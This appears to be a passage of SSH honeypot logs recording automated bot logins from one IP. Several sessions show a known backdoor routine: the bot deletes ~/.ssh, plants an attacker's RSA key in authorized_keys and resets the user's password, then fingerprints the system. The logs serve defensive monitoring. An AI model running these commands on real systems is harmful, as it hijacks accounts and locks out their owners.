{"id":"6fac3614-ca78-44f5-891b-155ec588a22b","name":"russet-wooded-curlew","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":46998,"username":"user7","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":588,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:46:55.530790+00:00","ended_at":"2026-08-26T12:46:56.544114+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-26T12:46:37.223181+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:46:37.808867+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:46:44.190615+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:46:44.191133+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:46:44.783256+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nsaiQmFgBV04w\\nsaiQmFgBV04w\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:46:45.366730+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nsaiQmFgBV04w\\nsaiQmFgBV04w\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:46:46.350142+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:46:46.350815+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:46:46.946811+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:46:47.466581+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:46:48.057103+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:46:48.646069+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:46:49.639030+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:46:49.639592+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:46:50.226552+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:46:50.227052+00:00","kind":"output","latency_ms":null,"data":" 12:46:50 up 6 days, 9:36, 0 user, load average: 0.28, 0.24, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:46:50.814858+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:46:50.815240+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:46:51.407078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:46:51.407815+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:46:51.995096+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:46:51.996126+00:00","kind":"output","latency_ms":null,"data":"top - 12:46:51 up 6 days, 9:36, 0 user, load average: 0.28, 0.24, 0.2\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:46:52.585491+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:46:52.586021+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:46:53.173413+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:46:53.174103+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:46:53.760093+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:46:53.760761+00:00","kind":"output","latency_ms":null,"data":"user7"},{"seq":29,"at":"2026-08-26T12:46:54.349204+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:46:54.944241+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:46:55.531616+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:46:56.359296+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user7","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"3fe19526-6644-4a41-8d78-0fd11db91f55","name":"russet-verdant-chickadee","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":56560,"username":"user7","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:46:42.184733+00:00","ended_at":"2026-08-26T12:46:44.008455+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user7","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cf95ad02-064e-487d-b81e-ae5105df031a","name":"glassy-slender-mole","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":56548,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:46:39.156655+00:00","ended_at":"2026-08-26T12:46:40.504014+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9a5e1788-d8a5-4ac0-8a2a-4c6e1949b2c2","name":"earnest-loyal-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":55832,"username":"default","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":613,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:42:47.442051+00:00","ended_at":"2026-08-26T12:42:48.198826+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-26T12:42:21.003600+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:42:23.355801+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:42:35.361957+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:42:35.362484+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:42:35.975758+00:00","kind":"input","latency_ms":null,"data":"echo -e \"default\\nDpLzY3PPxSQv\\nDpLzY3PPxSQv\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:42:36.586779+00:00","kind":"input","latency_ms":null,"data":"echo \"default\\nDpLzY3PPxSQv\\nDpLzY3PPxSQv\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:42:37.199070+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:42:37.199520+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:42:38.220661+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:42:38.789492+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:42:39.404053+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:42:39.982872+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:42:40.597329+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:42:40.598139+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:42:41.218219+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:42:41.218922+00:00","kind":"output","latency_ms":null,"data":" 12:42:41 up 6 days, 9:32, 0 user, load average: 0.17, 0.15, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:42:41.823374+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:42:41.824202+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:42:42.844296+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:42:42.845058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:42:43.458809+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:42:43.460125+00:00","kind":"output","latency_ms":null,"data":"top - 12:42:43 up 6 days, 9:32, 0 user, load average: 0.17, 0.15, 0.12\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:42:44.069434+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:42:44.070212+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:42:44.681431+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:42:44.681885+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:42:45.658633+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:42:45.658987+00:00","kind":"output","latency_ms":null,"data":"default"},{"seq":29,"at":"2026-08-26T12:42:46.270111+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:42:46.831234+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:42:47.442739+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:42:48.007353+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"default","password":"default","method":"password","accepted":true,"tier":"other"}]} {"id":"8ee843fe-d4c4-4d88-b648-cac340a4bfbd","name":"lucid-thorny-siskin","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":53494,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:42:27.344861+00:00","ended_at":"2026-08-26T12:43:27.349028+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"ba218c84-9aad-4a7d-a0ab-281eecc3b3c2","name":"dewy-murky-hyrax","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":53486,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:42:25.671065+00:00","ended_at":"2026-08-26T12:42:27.161864+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6148cf46-70f1-4b02-a742-d097a1ff3b7d","name":"bashful-wooded-barbet","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":36778,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:38:11.018203+00:00","ended_at":"2026-08-26T12:39:11.022118+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"38fee2d6-42ec-44ca-9734-320589e78bd7","name":"emerald-obsidian-pochard","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":47690,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:38:03.004921+00:00","ended_at":"2026-08-26T12:39:03.004686+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"86d8f685-f280-4c02-bd34-a48150eea369","name":"prickly-quartz-dingo","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":47678,"username":"us","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:38:01.598089+00:00","ended_at":"2026-08-26T12:38:02.632584+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-26T12:38:01.598864+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:38:02.257913+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"us","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d1bd6661-3062-403a-9221-bdc075912464","name":"creaky-fringed-gharial","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":47522,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:33:37.930446+00:00","ended_at":"2026-08-26T12:34:37.930669+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"54d00628-28f7-463d-b7c0-4680952ac20f","name":"lonesome-jovial-tamarin","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":44388,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:29:32.750448+00:00","ended_at":"2026-08-26T12:29:41.308154+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"b8b2a131-8c47-402a-a992-baca8bd76865","name":"burly-ashen-goldfinch","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":39372,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:29:25.308110+00:00","ended_at":"2026-08-26T12:30:25.309005+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"14907904-df17-41fe-8e29-34189c81ddc2","name":"jovial-quaint-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":39358,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:29:23.397709+00:00","ended_at":"2026-08-26T12:29:24.368360+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-26T12:29:23.398114+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:29:23.955134+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"vision123","method":"password","accepted":true,"tier":"other"}]} {"id":"f3bffe3a-f925-4cb0-881b-fadd46ae51f4","name":"austere-gnarled-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":60674,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":594,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:25:26.582652+00:00","ended_at":"2026-08-26T12:25:27.329372+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-26T12:25:02.349474+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:25:03.357811+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:25:15.005944+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:25:15.006759+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:25:15.600186+00:00","kind":"input","latency_ms":null,"data":"echo -e \"000000\\nFpYkHNu80i0x\\nFpYkHNu80i0x\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:25:16.194757+00:00","kind":"input","latency_ms":null,"data":"echo \"000000\\nFpYkHNu80i0x\\nFpYkHNu80i0x\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:25:16.789033+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:25:16.789499+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:25:17.383888+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:25:17.988577+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:25:18.583938+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:25:19.113628+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:25:19.709792+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:25:19.710338+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:25:20.303129+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:25:20.303628+00:00","kind":"output","latency_ms":null,"data":" 12:25:20 up 6 days, 9:15, 0 user, load average: 0.23, 0.27, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:25:20.899775+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:25:20.900824+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:25:21.894297+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:25:21.895083+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:25:22.894663+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:25:22.895253+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:22 up 6 days, 9:15, 0 user, load average: 0.23, 0.27, 0.16\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:25:23.489531+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:25:23.490544+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:25:24.083650+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:25:24.084218+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:25:24.676495+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:25:24.677067+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":29,"at":"2026-08-26T12:25:25.270503+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:25:25.989339+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:25:26.583431+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:25:27.142958+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"000000","method":"password","accepted":true,"tier":"other"}]} {"id":"f0412d65-f0b0-4765-9295-ae3cca790a61","name":"mottled-scarlet-redshank","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":60702,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:25:07.634502+00:00","ended_at":"2026-08-26T12:26:07.635686+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"cdc27ecd-683e-46f4-9005-561cee45df53","name":"ivory-rustic-condor","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":60686,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:25:04.776185+00:00","ended_at":"2026-08-26T12:25:06.408970+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"328227ba-1abd-47c2-b06f-58324d753c8f","name":"forlorn-opal-shearwater","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":57960,"username":"nexus","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:20:50.086096+00:00","ended_at":"2026-08-26T12:20:51.340643+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"nexus","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"28ec4146-5502-47f7-a41c-ee96e7afad67","name":"airy-gilded-vicuna","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":51464,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:20:41.092965+00:00","ended_at":"2026-08-26T12:20:57.789180+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"804c52a7-8819-4ddd-9dae-ea087dc5159a","name":"rapid-genial-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":48088,"username":"nexus","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:20:39.738526+00:00","ended_at":"2026-08-26T12:20:40.715686+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-26T12:20:39.739417+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:20:40.278672+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not 